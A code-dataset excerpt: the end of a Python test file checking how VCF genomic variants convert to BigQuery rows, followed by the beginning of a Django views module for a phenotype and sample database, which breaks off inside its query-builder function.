alternate_bases=['A', 'TT'], names=['rs1', 'rs2'], quality=2,\n filters=['PASS'],\n info={'AF': vcfio.VariantInfo([0.1, 0.2], 'A'),\n 'AF2': vcfio.VariantInfo([0.2, 0.3], 'A'),\n 'I1': vcfio.VariantInfo('some data', '1'),\n 'I2': vcfio.VariantInfo(['data1', 'data2'], '2')},\n calls=[\n vcfio.VariantCall(\n name='Sample1', genotype=[0, 1], phaseset='*',\n info={'GQ': 20, 'HQ': [10, 20]}),\n vcfio.VariantCall(\n name='Sample2', genotype=[1, 0],\n info={'GQ': 10, 'FLAG1': True}),\n vcfio.VariantCall(\n name='Sample3', genotype=[vcfio.MISSING_GENOTYPE_VALUE])])\n expected_row = {\n ColumnKeyConstants.REFERENCE_NAME: 'chr19',\n ColumnKeyConstants.START_POSITION: 11,\n ColumnKeyConstants.END_POSITION: 12,\n ColumnKeyConstants.REFERENCE_BASES: 'C',\n ColumnKeyConstants.ALTERNATE_BASES: [\n {ColumnKeyConstants.ALTERNATE_BASES_ALT: 'A',\n 'AF': 0.1, 'AF2': 0.2},\n {ColumnKeyConstants.ALTERNATE_BASES_ALT: 'TT',\n 'AF': 0.2, 'AF2': 0.3}],\n ColumnKeyConstants.NAMES: ['rs1', 'rs2'],\n ColumnKeyConstants.QUALITY: 2,\n ColumnKeyConstants.FILTER: ['PASS'],\n ColumnKeyConstants.CALLS: [\n {ColumnKeyConstants.CALLS_NAME: 'Sample1',\n ColumnKeyConstants.CALLS_GENOTYPE: [0, 1],\n ColumnKeyConstants.CALLS_PHASESET: '*',\n 'GQ': 20, 'HQ': [10, 20]},\n {ColumnKeyConstants.CALLS_NAME: 'Sample2',\n ColumnKeyConstants.CALLS_GENOTYPE: [1, 0],\n ColumnKeyConstants.CALLS_PHASESET: None,\n 'GQ': 10, 'FLAG1': True},\n {ColumnKeyConstants.CALLS_NAME: 'Sample3',\n ColumnKeyConstants.CALLS_GENOTYPE: [vcfio.MISSING_GENOTYPE_VALUE],\n ColumnKeyConstants.CALLS_PHASESET: None}],\n 'I1': 'some data',\n 'I2': ['data1', 'data2']}\n self.assertEqual([expected_row], self._get_row_list_from_variant(variant))\n\n def test_no_alternate_bases(self):\n variant = vcfio.Variant(\n reference_name='chr19', start=11, end=12, reference_bases='CT',\n alternate_bases=[], filters=['q10'],\n info={'A1': vcfio.VariantInfo('some data', '1'),\n 'A2': vcfio.VariantInfo(['data1', 'data2'], '2')})\n expected_row = {\n ColumnKeyConstants.REFERENCE_NAME: 'chr19',\n ColumnKeyConstants.START_POSITION: 11,\n ColumnKeyConstants.END_POSITION: 12,\n ColumnKeyConstants.REFERENCE_BASES: 'CT',\n ColumnKeyConstants.ALTERNATE_BASES: [],\n ColumnKeyConstants.FILTER: ['q10'],\n ColumnKeyConstants.CALLS: [],\n 'A1': 'some data',\n 'A2': ['data1', 'data2']}\n self.assertEqual([expected_row], self._get_row_list_from_variant(variant))\n\n def test_some_fields_set(self):\n variant = vcfio.Variant(\n reference_name='chr19', start=None, end=123, reference_bases=None,\n alternate_bases=[], quality=20)\n expected_row = {\n ColumnKeyConstants.REFERENCE_NAME: 'chr19',\n ColumnKeyConstants.START_POSITION: None,\n ColumnKeyConstants.END_POSITION: 123,\n ColumnKeyConstants.REFERENCE_BASES: None,\n ColumnKeyConstants.ALTERNATE_BASES: [],\n ColumnKeyConstants.QUALITY: 20,\n ColumnKeyConstants.CALLS: []}\n self.assertEqual([expected_row], self._get_row_list_from_variant(variant))\n\n def test_no_field_set(self):\n variant = vcfio.Variant()\n expected_row = {\n ColumnKeyConstants.REFERENCE_NAME: None,\n ColumnKeyConstants.START_POSITION: None,\n ColumnKeyConstants.END_POSITION: None,\n ColumnKeyConstants.REFERENCE_BASES: None,\n ColumnKeyConstants.ALTERNATE_BASES: [],\n ColumnKeyConstants.CALLS: []}\n self.assertEqual([expected_row], self._get_row_list_from_variant(variant))\n\n def test_null_repeated_fields(self):\n variant = vcfio.Variant(\n reference_name='chr19', start=11, end=12, reference_bases='CT',\n alternate_bases=[], filters=['q10'],\n info={'AI': vcfio.VariantInfo([0, 1, None], '3'),\n 'AB': vcfio.VariantInfo([True, None, False], '3'),\n 'AF': vcfio.VariantInfo([0.1, 0.2, None, 0.4], '4'),\n 'AS': vcfio.VariantInfo([None, 'data1', 'data2'], '3')})\n expected_row = {\n ColumnKeyConstants.REFERENCE_NAME: 'chr19',\n ColumnKeyConstants.START_POSITION: 11,\n ColumnKeyConstants.END_POSITION: 12,\n ColumnKeyConstants.REFERENCE_BASES: 'CT',\n ColumnKeyConstants.ALTERNATE_BASES: [],\n ColumnKeyConstants.FILTER: ['q10'],\n ColumnKeyConstants.CALLS: [],\n 'AI': [0, 1, -sys.maxint],\n 'AB': [True, False, False],\n 'AF': [0.1, 0.2, -sys.maxint, 0.4],\n 'AS': ['.', 'data1', 'data2']}\n self.assertEqual([expected_row], self._get_row_list_from_variant(variant))\n\n def test_unicode_fields(self):\n sample_unicode_str = u'\\xc3\\xb6'\n sample_utf8_str = sample_unicode_str.encode('utf-8')\n variant = vcfio.Variant(\n reference_name='chr19', start=11, end=12, reference_bases='CT',\n alternate_bases=[], filters=[sample_unicode_str, sample_utf8_str],\n info={'AS1': vcfio.VariantInfo(sample_utf8_str, '1'),\n 'AS2': vcfio.VariantInfo(\n [sample_unicode_str, sample_utf8_str], '2')})\n expected_row = {\n ColumnKeyConstants.REFERENCE_NAME: 'chr19',\n ColumnKeyConstants.START_POSITION: 11,\n ColumnKeyConstants.END_POSITION: 12,\n ColumnKeyConstants.REFERENCE_BASES: 'CT',\n ColumnKeyConstants.ALTERNATE_BASES: [],\n ColumnKeyConstants.FILTER: [sample_unicode_str, sample_unicode_str],\n ColumnKeyConstants.CALLS: [],\n 'AS1': sample_unicode_str,\n 'AS2': [sample_unicode_str, sample_unicode_str]}\n self.assertEqual([expected_row], self._get_row_list_from_variant(variant))\n\n def test_nonstandard_float_values(self):\n variant = vcfio.Variant(\n reference_name='chr19', start=11, end=12, reference_bases='CT',\n alternate_bases=[], filters=[],\n info={'F1': vcfio.VariantInfo(float('inf'), '1'),\n 'F2': vcfio.VariantInfo([float('-inf'), float('nan'), 1.2], '3'),\n 'F3': vcfio.VariantInfo(float('nan'), '1'),})\n null_replacement_value = -sys.maxint\n expected_row = {\n ColumnKeyConstants.REFERENCE_NAME: 'chr19',\n ColumnKeyConstants.START_POSITION: 11,\n ColumnKeyConstants.END_POSITION: 12,\n ColumnKeyConstants.REFERENCE_BASES: 'CT',\n ColumnKeyConstants.ALTERNATE_BASES: [],\n ColumnKeyConstants.CALLS: [],\n 'F1': sys.maxint,\n 'F2': [-sys.maxint, null_replacement_value, 1.2],\n 'F3': None}\n self.assertEqual([expected_row], self._get_row_list_from_variant(variant))\n\n def test_nonstandard_fields_names(self):\n variant = vcfio.Variant(\n reference_name='chr19', start=11, end=12, reference_bases='CT',\n alternate_bases=[],\n info={'A-1': vcfio.VariantInfo('data1', '1'),\n '_A': vcfio.VariantInfo('data2', '2')})\n expected_row = {\n ColumnKeyConstants.REFERENCE_NAME: 'chr19',\n ColumnKeyConstants.START_POSITION: 11,\n ColumnKeyConstants.END_POSITION: 12,\n ColumnKeyConstants.REFERENCE_BASES: 'CT',\n ColumnKeyConstants.ALTERNATE_BASES: [],\n ColumnKeyConstants.CALLS: [],\n 'A_1': 'data1',\n 'field__A': 'data2'}\n self.assertEqual([expected_row], self._get_row_list_from_variant(variant))\n\n def test_sharded_rows(self):\n variant = vcfio.Variant(\n reference_name='chr19', start=11, end=12, reference_bases='C',\n alternate_bases=['A', 'TT'], names=['rs1', 'rs2'], quality=2,\n filters=['PASS'],\n info={'AF': vcfio.VariantInfo([0.1, 0.2], 'A'),\n 'AF2': vcfio.VariantInfo([0.2, 0.3], 'A'),\n 'I1': vcfio.VariantInfo('some data', '1'),},\n calls=[\n vcfio.VariantCall(\n name='Sample1', genotype=[0, 1], phaseset='*',\n info={'GQ': 20, 'HQ': [10, 20]}),\n vcfio.VariantCall(\n name='Sample2', genotype=[1, 0],\n info={'GQ': 10, 'FLAG1': True}),\n vcfio.VariantCall(\n name='Sample3', genotype=[1, 0],\n info={'GQ': 30, 'FLAG1': True})])\n expected_rows = [\n {\n ColumnKeyConstants.REFERENCE_NAME: 'chr19',\n ColumnKeyConstants.START_POSITION: 11,\n ColumnKeyConstants.END_POSITION: 12,\n ColumnKeyConstants.REFERENCE_BASES: 'C',\n ColumnKeyConstants.ALTERNATE_BASES: [\n {ColumnKeyConstants.ALTERNATE_BASES_ALT: 'A',\n 'AF': 0.1, 'AF2': 0.2},\n {ColumnKeyConstants.ALTERNATE_BASES_ALT: 'TT',\n 'AF': 0.2, 'AF2': 0.3}],\n ColumnKeyConstants.NAMES: ['rs1', 'rs2'],\n ColumnKeyConstants.QUALITY: 2,\n ColumnKeyConstants.FILTER: ['PASS'],\n ColumnKeyConstants.CALLS: [\n {ColumnKeyConstants.CALLS_NAME: 'Sample1',\n ColumnKeyConstants.CALLS_GENOTYPE: [0, 1],\n ColumnKeyConstants.CALLS_PHASESET: '*',\n 'GQ': 20, 'HQ': [10, 20]},\n {ColumnKeyConstants.CALLS_NAME: 'Sample2',\n ColumnKeyConstants.CALLS_GENOTYPE: [1, 0],\n ColumnKeyConstants.CALLS_PHASESET: None,\n 'GQ': 10, 'FLAG1': True}],\n 'I1': 'some data'\n },\n {\n ColumnKeyConstants.REFERENCE_NAME: 'chr19',\n ColumnKeyConstants.START_POSITION: 11,\n ColumnKeyConstants.END_POSITION: 12,\n ColumnKeyConstants.REFERENCE_BASES: 'C',\n ColumnKeyConstants.ALTERNATE_BASES: [\n {ColumnKeyConstants.ALTERNATE_BASES_ALT: 'A',\n 'AF': 0.1, 'AF2': 0.2},\n {ColumnKeyConstants.ALTERNATE_BASES_ALT: 'TT',\n 'AF': 0.2, 'AF2': 0.3}],\n ColumnKeyConstants.NAMES: ['rs1', 'rs2'],\n ColumnKeyConstants.QUALITY: 2,\n ColumnKeyConstants.FILTER: ['PASS'],\n ColumnKeyConstants.CALLS: [\n {ColumnKeyConstants.CALLS_NAME: 'Sample3',\n ColumnKeyConstants.CALLS_GENOTYPE: [1, 0],\n ColumnKeyConstants.CALLS_PHASESET: None,\n 'GQ': 30, 'FLAG1': True}],\n 'I1': 'some data'\n },\n ]\n\n original_max_row_size = bigquery_vcf_schema._MAX_BIGQUERY_ROW_SIZE_BYTES\n try:\n bigquery_vcf_schema._MAX_BIGQUERY_ROW_SIZE_BYTES = (\n len(json.dumps(expected_rows[0])) + 10)\n self.assertEqual(expected_rows, self._get_row_list_from_variant(variant))\n finally:\n bigquery_vcf_schema._MAX_BIGQUERY_ROW_SIZE_BYTES = original_max_row_size\n\n def test_omit_empty_sample_calls(self):\n variant = vcfio.Variant(\n reference_name='chr19', start=11, end=12, reference_bases='C',\n alternate_bases=[], names=['rs1', 'rs2'], quality=2,\n filters=['PASS'],\n info={},\n calls=[\n vcfio.VariantCall(\n name='Sample1', info={'GQ': vcfio.MISSING_FIELD_VALUE}),\n vcfio.VariantCall(\n name='Sample2', genotype=[1, 0],\n info={'GQ': 10}),\n vcfio.VariantCall(\n name='Sample3', genotype=[vcfio.MISSING_GENOTYPE_VALUE,\n vcfio.MISSING_GENOTYPE_VALUE])])\n expected_row = {\n ColumnKeyConstants.REFERENCE_NAME: 'chr19',\n ColumnKeyConstants.START_POSITION: 11,\n ColumnKeyConstants.END_POSITION: 12,\n ColumnKeyConstants.REFERENCE_BASES: 'C',\n ColumnKeyConstants.ALTERNATE_BASES: [],\n ColumnKeyConstants.NAMES: ['rs1', 'rs2'],\n ColumnKeyConstants.QUALITY: 2,\n ColumnKeyConstants.FILTER: ['PASS'],\n ColumnKeyConstants.CALLS: [\n {ColumnKeyConstants.CALLS_NAME: 'Sample2',\n ColumnKeyConstants.CALLS_GENOTYPE: [1, 0],\n ColumnKeyConstants.CALLS_PHASESET: None,\n 'GQ': 10}]}\n self.assertEqual(\n [expected_row],\n self._get_row_list_from_variant(variant, omit_empty_sample_calls=True))\n\n def test_schema_conflict_in_info_field_type(self):\n variant = vcfio.Variant(\n reference_name='chr19', start=11, end=12, reference_bases='CT',\n alternate_bases=[], filters=[],\n info={'IB': vcfio.VariantInfo(data=1, field_count='1'),\n 'II': vcfio.VariantInfo(data=1.1, field_count='1'),\n 'IF': vcfio.VariantInfo(data=[1, 2], field_count='2'),\n 'IS': vcfio.VariantInfo(data=[1.0, 2.0], field_count='2')})\n expected_row = {\n ColumnKeyConstants.REFERENCE_NAME: 'chr19',\n ColumnKeyConstants.START_POSITION: 11,\n ColumnKeyConstants.END_POSITION: 12,\n ColumnKeyConstants.REFERENCE_BASES: 'CT',\n ColumnKeyConstants.ALTERNATE_BASES: [],\n ColumnKeyConstants.CALLS: [],\n 'IB': True,\n 'II': 1,\n 'IF': [1.0, 2.0],\n 'IS': ['1.0', '2.0']}\n self.assertEqual([expected_row], self._get_row_list_from_variant(\n variant, self._schema_descriptor, allow_incompatible_records=True))\n\n with self.assertRaises(ValueError):\n variant = vcfio.Variant(\n reference_name='chr19', start=11, end=12, reference_bases='CT',\n alternate_bases=[], filters=[],\n # String cannot be casted to integer.\n info={'II': vcfio.VariantInfo(data='1.1', field_count='1'),})\n self._get_row_list_from_variant(\n variant, self._schema_descriptor, allow_incompatible_records=True)\n self.fail('String data for an integer schema must cause an exception')\n\n def test_schema_conflict_in_info_field_number(self):\n variant = vcfio.Variant(\n reference_name='chr19', start=11, end=12, reference_bases='CT',\n alternate_bases=[], filters=[],\n info={'IB': vcfio.VariantInfo(data=[1, 2], field_count='2'),\n 'IBR': vcfio.VariantInfo(data=1, field_count='1'),\n 'II': vcfio.VariantInfo(data=[10, 20], field_count='2'),\n 'IF': vcfio.VariantInfo(data=1.1, field_count='1'),\n 'IS': vcfio.VariantInfo(data='foo', field_count='1')},)\n expected_row = {\n ColumnKeyConstants.REFERENCE_NAME: 'chr19',\n ColumnKeyConstants.START_POSITION: 11,\n ColumnKeyConstants.END_POSITION: 12,\n ColumnKeyConstants.REFERENCE_BASES: 'CT',\n ColumnKeyConstants.ALTERNATE_BASES: [],\n ColumnKeyConstants.CALLS: [],\n 'IB': True,\n 'IBR': [True],\n 'II': 10,\n 'IF': [1.1],\n 'IS': ['foo'],}\n self.assertEqual([expected_row], self._get_row_list_from_variant(\n variant, self._schema_descriptor, allow_incompatible_records=True))\n\n def test_schema_conflict_in_format_field_type(self):\n variant = vcfio.Variant(\n reference_name='chr19', start=11, end=12, reference_bases='CT',\n alternate_bases=[], filters=[],\n calls=[\n vcfio.VariantCall(\n name='Sample1', genotype=[0, 1], phaseset='*',\n info={'FB': '', 'FI': 1.0, 'FS': [1, 2]}),\n vcfio.VariantCall(\n name='Sample2', genotype=[1, 0],\n info={'FB': 1, 'FI': True, 'FS': [1.0, 2.0]})])\n\n expected_row = {\n ColumnKeyConstants.REFERENCE_NAME: 'chr19',\n ColumnKeyConstants.START_POSITION: 11,\n ColumnKeyConstants.END_POSITION: 12,\n ColumnKeyConstants.REFERENCE_BASES: 'CT',\n ColumnKeyConstants.ALTERNATE_BASES: [],\n ColumnKeyConstants.CALLS: [],\n ColumnKeyConstants.CALLS: [\n {ColumnKeyConstants.CALLS_NAME: 'Sample1',\n ColumnKeyConstants.CALLS_GENOTYPE: [0, 1],\n ColumnKeyConstants.CALLS_PHASESET: '*',\n 'FB': False, 'FI': 1, 'FS': ['1', '2']},\n {ColumnKeyConstants.CALLS_NAME: 'Sample2',\n ColumnKeyConstants.CALLS_GENOTYPE: [1, 0],\n ColumnKeyConstants.CALLS_PHASESET: None,\n 'FB': True, 'FI': 1, 'FS': ['1.0', '2.0']},],\n }\n\n self.assertEqual([expected_row], self._get_row_list_from_variant(\n variant, self._schema_descriptor, allow_incompatible_records=True))\n\n with self.assertRaises(ValueError):\n variant = vcfio.Variant(\n reference_name='chr19', start=11, end=12, reference_bases='CT',\n alternate_bases=[], filters=[],\n # String cannot be casted to integer.\n calls=[\n vcfio.VariantCall(\n name='Sample1', genotype=[0, 1], phaseset='*',\n info={'FI': 'string_for_int_field'}),],)\n self._get_row_list_from_variant(\n variant, self._schema_descriptor, allow_incompatible_records=True)\n self.fail('String data for an integer schema must cause an exception')\n\n def test_schema_conflict_in_format_field_number(self):\n variant = vcfio.Variant(\n reference_name='chr19', start=11, end=12, reference_bases='CT',\n alternate_bases=[], filters=[],\n calls=[\n vcfio.VariantCall(\n name='Sample1', genotype=[0, 1], phaseset='*',\n info={'FB': [1, 2], 'FI': [1, 2], 'FS': 'str'}),\n vcfio.VariantCall(\n name='Sample2', genotype=[1, 0],\n info={'FB': [], 'FI': [], 'FS': ''})])\n\n expected_row = {\n ColumnKeyConstants.REFERENCE_NAME: 'chr19',\n ColumnKeyConstants.START_POSITION: 11,\n ColumnKeyConstants.END_POSITION: 12,\n ColumnKeyConstants.REFERENCE_BASES: 'CT',\n ColumnKeyConstants.ALTERNATE_BASES: [],\n ColumnKeyConstants.CALLS: [],\n ColumnKeyConstants.CALLS: [\n {ColumnKeyConstants.CALLS_NAME: 'Sample1',\n ColumnKeyConstants.CALLS_GENOTYPE: [0, 1],\n ColumnKeyConstants.CALLS_PHASESET: '*',\n 'FB': True, 'FI': 1, 'FS': ['str']},\n {ColumnKeyConstants.CALLS_NAME: 'Sample2',\n ColumnKeyConstants.CALLS_GENOTYPE: [1, 0],\n ColumnKeyConstants.CALLS_PHASESET: None,\n 'FB': False, 'FI': None, 'FS': ['']},],\n }\n\n self.assertEqual([expected_row], self._get_row_list_from_variant(\n variant, self._schema_descriptor, allow_incompatible_records=True))\n","sub_path":"gcp_variant_transforms/libs/bigquery_vcf_schema_test.py","file_name":"bigquery_vcf_schema_test.py","file_ext":"py","file_size_in_byte":31494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"454392803","text":"# external imports\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.core import serializers\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nimport csv\nimport json\nimport io\nimport time\nfrom collections import defaultdict, OrderedDict\nimport pprint\n\nfrom .duplicates import get_duplicate_sampleIDs\n\n## Fudge required for generating plots in production because writing to sys.stdout is by default restricted in versions of mod_wsgi\n## This restriction can be disabled by mapping sys.stdout to sys.stderr at global scope within in the WSGI application script file.\n#import sys\n#sys.stdout = sys.stderr\n\n# internal imports\nfrom .models import IndividualIdentifier, BinaryPhenotypeValue, QualitativePhenotypeValue, QuantitiatvePhenotypeValue, Phenotype, Platform, Individual, Study, Sample, Source, QC, Collection, StudySample, PhenodbIdentifier, MissingSampleID\nfrom .tables import PhenotypeTable, PlatformTable, StudyTable, QCTable, SourceTable, CollectionTable, MissingTable, MissingStudyTable, ConflictingSampleIDsTable\n\ndef home(request):\n return render(request, 'search/home.html', {})\n\ndef showPlatforms(request):\n table = PlatformTable(Platform.objects.all())\n return render(request, 'search/dataview.html', {'table': table})\n\ndef showStudies(request):\n table = StudyTable(Study.objects.all())\n return render(request, 'search/dataview.html', {'table': table})\n\ndef showQCs(request):\n table = QCTable(QC.objects.all())\n return render(request, 'search/dataview.html', {'table': table})\n\ndef showSources(request):\n table = SourceTable(Source.objects.all())\n return render(request, 'search/dataview.html', {'table': table})\n\ndef showCollections(request):\n table = CollectionTable(Collection.objects.all())\n return render(request, 'search/dataview.html', {'table': table})\n\ndef showMissing(request):\n study_counts = []\n for study in Study.objects.all():\n study_counts.append({'study_id': study.id, 'study_name': study.study_name, 'missing_sample_count': MissingSampleID.objects.filter(study_id=study.id).count()})\n\n table = MissingTable(study_counts)\n return render(request, 'search/dataview.html', {'table': table})\n\ndef showMissingStudy(request, study_id):\n table = MissingStudyTable(MissingSampleID.objects.filter(study_id=study_id))\n return render(request, 'search/dataview.html', {'table': table})\n\ndef showPhenotypes(request):\n phenotypes = Phenotype.objects.all()\n phenotype_values = []\n for phenotype in phenotypes:\n values_str = \"\"\n if phenotype.phenotype_type.phenotype_type == 'binary':\n values_dict_array = BinaryPhenotypeValue.objects.filter(phenotype_id=phenotype.id).order_by('phenotype_value').values('phenotype_value').distinct()\n values_list = []\n for value_dict in values_dict_array:\n values_list.append(str(value_dict['phenotype_value']))\n values_str = \", \".join(values_list)\n not_null_total = BinaryPhenotypeValue.objects.filter(phenotype_id=phenotype.id, phenotype_value__isnull=False).values('phenotype_value').count()\n elif phenotype.phenotype_type.phenotype_type == 'qualitative':\n values_dict_array = QualitativePhenotypeValue.objects.filter(phenotype_id=phenotype.id).values('phenotype_value').distinct()\n values_list = []\n for value_dict in values_dict_array:\n values_list.append(str(value_dict['phenotype_value']))\n values_str = \", \".join(values_list)\n not_null_total = QualitativePhenotypeValue.objects.filter(phenotype_id=phenotype.id, phenotype_value__isnull=False).values('phenotype_value').count()\n elif phenotype.phenotype_type.phenotype_type == 'quantitative':\n values_dict_array = QuantitiatvePhenotypeValue.objects.filter(phenotype_id=phenotype.id).order_by('phenotype_value').values('phenotype_value').distinct()\n values_list = []\n for value_dict in values_dict_array:\n values_list.append(value_dict['phenotype_value'])\n if len(values_list) > 0:\n values_str = \"...\".join((str(min(values_list)), str(max(values_list))))\n else:\n values_list = \"\"\n not_null_total = QuantitiatvePhenotypeValue.objects.filter(phenotype_id=phenotype.id, phenotype_value__isnull=False).values('phenotype_value').count()\n phenotype_values.append({'phenotype_id':phenotype.id, 'phenotype_name':phenotype.phenotype_name, 'description':phenotype.phenotype_description, 'values':values_str, 'total_records': not_null_total})\n table = PhenotypeTable(phenotype_values)\n\n return render(request, 'search/dataview.html', {'table': table})\n\ndef showIndividuals(request):\n message = \"The database currently contains \" + str(Individual.objects.all().count()) + \" individuals\"\n message += \" and \" + str(IndividualIdentifier.objects.all().count()) + \" individual IDs\"\n message += \"
Individual IDs by source:\"\n\n return render(request, 'search/summary.html', {'message': message})\n\ndef getIndividualData(request):\n source_counts = []\n for source in Source.objects.all():\n source_counts.append({'value': source.source_name, 'count': IndividualIdentifier.objects.filter(source_id=source.id).values('individual_id').distinct().count()})\n\n fieldnames = ['value','count']\n headers = dict( (n,n) for n in fieldnames )\n\n myFakeFile = io.StringIO()\n myWriter = csv.DictWriter( myFakeFile, fieldnames, delimiter='\\t')\n myWriter.writerow(headers)\n for s in source_counts:\n myWriter.writerow(s)\n\n return HttpResponse(myFakeFile.getvalue(), content_type='text/tab-separated-values')\n\ndef showSamples(request):\n message = \"The database currently contains \" + str(Sample.objects.all().count()) + \" samples\"\n message += \"
Samples by study:\"\n\n return render(request, 'search/summary.html', {'message': message})\n\ndef getSampleData(request):\n study_counts = []\n for study in Study.objects.all():\n study_counts.append({'value': study.study_name, 'count': StudySample.objects.filter(study_id=study.id).count()})\n\n fieldnames = ['value','count']\n headers = dict( (n,n) for n in fieldnames )\n\n myFakeFile = io.StringIO()\n myWriter = csv.DictWriter( myFakeFile, fieldnames, delimiter='\\t')\n myWriter.writerow(headers)\n for s in study_counts:\n myWriter.writerow(s)\n\n return HttpResponse(myFakeFile.getvalue(), content_type='text/tab-separated-values')\n\ndef showPhenotypePlot(request, phenotype_id):\n phenotype = Phenotype.objects.get(id=phenotype_id)\n return render(request, 'search/barplot.html', {'id': phenotype_id, 'title': phenotype.phenotype_name})\n\ndef getPhenotypePlotData(request, phenotype_id):\n phenotype_value_counts = []\n phenotype = Phenotype.objects.get(id=phenotype_id)\n\n if phenotype.phenotype_type.phenotype_type == 'binary':\n values_dict_array = BinaryPhenotypeValue.objects.filter(phenotype_id=phenotype.id).order_by('phenotype_value').values('phenotype_value').distinct()\n for value_dict in values_dict_array:\n phenotype_value = str(value_dict['phenotype_value'])\n phenotype_value_count = BinaryPhenotypeValue.objects.filter(phenotype_id=phenotype.id, phenotype_value=phenotype_value).count()\n phenotype_value_counts.append({'value': phenotype_value, 'count': phenotype_value_count})\n\n elif phenotype.phenotype_type.phenotype_type == 'qualitative':\n values_dict_array = QualitativePhenotypeValue.objects.filter(phenotype_id=phenotype.id).values('phenotype_value').distinct()\n for value_dict in values_dict_array:\n phenotype_value = str(value_dict['phenotype_value'])\n phenotype_value_count = QualitativePhenotypeValue.objects.filter(phenotype_id=phenotype.id, phenotype_value=phenotype_value).count()\n phenotype_value_counts.append({'value': phenotype_value, 'count': phenotype_value_count})\n\n elif phenotype.phenotype_type.phenotype_type == 'quantitative':\n values_dict_array = QuantitiatvePhenotypeValue.objects.filter(phenotype_id=phenotype.id).order_by('phenotype_value').values('phenotype_value').distinct()\n for value_dict in values_dict_array:\n phenotype_value = str(value_dict['phenotype_value'])\n phenotype_value_count = QuantitiatvePhenotypeValue.objects.filter(phenotype_id=phenotype.id, phenotype_value=phenotype_value).count()\n phenotype_value_counts.append({'value': phenotype_value, 'count': phenotype_value_count})\n\n ## create a tsv file to pass to the d3 plotting library\n fieldnames = ['value','count']\n headers = dict( (n,n) for n in fieldnames )\n\n myFakeFile = io.StringIO()\n myWriter = csv.DictWriter( myFakeFile, fieldnames, delimiter='\\t')\n myWriter.writerow(headers)\n for r in phenotype_value_counts:\n myWriter.writerow(r)\n\n print(myFakeFile.getvalue())\n\n return HttpResponse(myFakeFile.getvalue(), content_type='text/tab-separated-values')\n\ndef all_json_models(request, menuid):\n\n if menuid == 'phenotype':\n menuitems = Phenotype.objects.all()\n elif menuid == 'platform':\n menuitems = Platform.objects.all()\n elif menuid == 'study':\n menuitems = Study.objects.all()\n elif menuid == 'qc':\n menuitems = QC.objects.all()\n elif menuid == 'source':\n menuitems = Source.objects.all()\n\n json_models = serializers.serialize(\"json\", menuitems)\n return HttpResponse(json_models, content_type=\"application/javascript\")\n\ndef all_search_options(request, menuid, menuval):\n menuitems = []\n if menuid == 'phenotype':\n phenotype = Phenotype.objects.get(id=menuval)\n if phenotype.phenotype_type.phenotype_type == 'binary':\n menuitems = [{\"value\": \"true\", \"text\": \"True\" },{\"value\": \"false\", \"text\": \"False\"},{\"value\": \"isnull\", \"text\": \"Is NULL\"},{\"value\": \"notnull\", \"text\": \"Is not NULL\"}]\n elif phenotype.phenotype_type.phenotype_type == 'qualitative':\n menuitems = [{\"value\": \"eq\", \"text\": \"Equals\" },{\"value\": \"contains\", \"text\": \"Contains\" },{\"value\": \"starts_with\", \"text\": \"Starts with\" },{\"value\": \"ends_with\", \"text\": \"Ends with\" },{\"value\": \"isnull\", \"text\": \"Is NULL\"},{\"value\": \"notnull\", \"text\": \"Is not NULL\"}]\n elif phenotype.phenotype_type.phenotype_type == 'quantitative':\n menuitems = [{\"value\": \"eq\", \"text\": \"==\" },{\"value\": \"gt\", \"text\": \">\" },{\"value\": \"gte\", \"text\": \">=\" },{\"value\": \"lt\", \"text\": \"<\" },{\"value\": \"lte\", \"text\": \"<=\" },{\"value\": \"isnull\", \"text\": \"Is NULL\"},{\"value\": \"notnull\", \"text\": \"Is not NULL\"}]\n else:\n menuitems = [{\"value\": \"true\", \"text\": \"True\" },{\"value\": \"false\", \"text\": \"False\"}]\n\n return HttpResponse(json.dumps(menuitems), content_type=\"application/javascript\")\n\ndef generate_html_table(output, query_results):\n table_html = \"\"\n table_html = \"\".join((table_html, \"\"))\n for column in output:\n ## if the column is a phenotype then get the phenotype name from the id\n if str(column).startswith(\"phenotype\"):\n phenotype_id = column.split(\":\")[1]\n phenotype = Phenotype.objects.get(id=phenotype_id)\n table_html = \"\".join((table_html, \"\"))\n elif str(column).startswith(\"study\"):\n study_id = column.split(\":\")[1]\n study = Study.objects.get(id=study_id)\n table_html = \"\".join((table_html, \"\"))\n else:\n table_html = \"\".join((table_html, \"\"))\n table_html = \"\".join((table_html, \"\"))\n for results_row in query_results:\n table_html = \"\".join((table_html, \"\"))\n for value in results_row:\n table_html = \"\".join((table_html, \"\"))\n table_html = \"\".join((table_html, \"\"))\n\n return \"\".join((table_html, \"
\"+ phenotype.phenotype_name +\"\"+ study.study_name +\"\"+ column +\"
\" + value + \"
\"))\n\ndef querybuilder(request):\n if request.method == 'POST':\n results_per_page = 25 # default value\n tables = request.POST.getlist('from')\n wheres = request.POST.getlist('where')\n where_iss = request.POST.getlist('is')\n querystrs = request.POST.getlist('querystr')\n output = request.POST.getlist('output')\n search_in = request.POST.get('searchIn')\n page = request.GET.get('page')\n andors = request.POST.getlist('andor')\n\n print(request)\n print(results_per_page)\n print(tables)\n print(wheres)\n print(where_iss)\n print(querystrs)\n print(output)\n print(search_in)\n print(page)\n print(andors)\n\n if len(output) == 0:\n message = \"No output columns selected, please select output columns and try again.\"\n return render(request, 'search/querybuilder.html', {'phenotypes':Phenotype.objects.all(),'message':message})\n else:\n# set the input options for the session\n request.session['tables'] = list(tables)\n request.session['wheres'] = list(wheres)\n request.session['where_iss'] = list(where_iss)\n request.session['querystrs'] = list(querystrs)\n request.session['search_in'] = list(search_in)\n request.session['output'] = list(output)\n request.session['search_in'] = search_in\n request.session['andors'] = list(andors)\n\n ## search all records or from a list of individuals\n if search_in == 'userlist':\n user_ids = []\n if request.POST.get('individual_list'):\n textarea_values = request.POST.get('individual_list').splitlines()\n\n ## to start with lets assume if the line contains two values they are source_id and source\n ## if the line contains one value then this is a phenodbid\n\n for line in textarea_values:\n if (line.split()):\n line_vals = str(line.strip()).split(',')\n print(line_vals)\n\n if len(line_vals) == 1:\n user_ids.append([line_vals[0]])\n elif len(line_vals) == 2:\n ## assume source_id source format to start with\n user_ids.append([line_vals[0],line_vals[1]])\n else:\n message = \"Sorry the format of your individual list has not been recognised\"\n return render(request, 'search/querybuilder.html', {'phenotypes':Phenotype.objects.all(),'message':message})\n\n elif request.FILES.get('individual_file'):\n indFile = request.FILES.get('individual_file')\n if not indFile.multiple_chunks():\n file_lines = indFile.read().splitlines()\n for line in file_lines:\n if (line.split()):\n 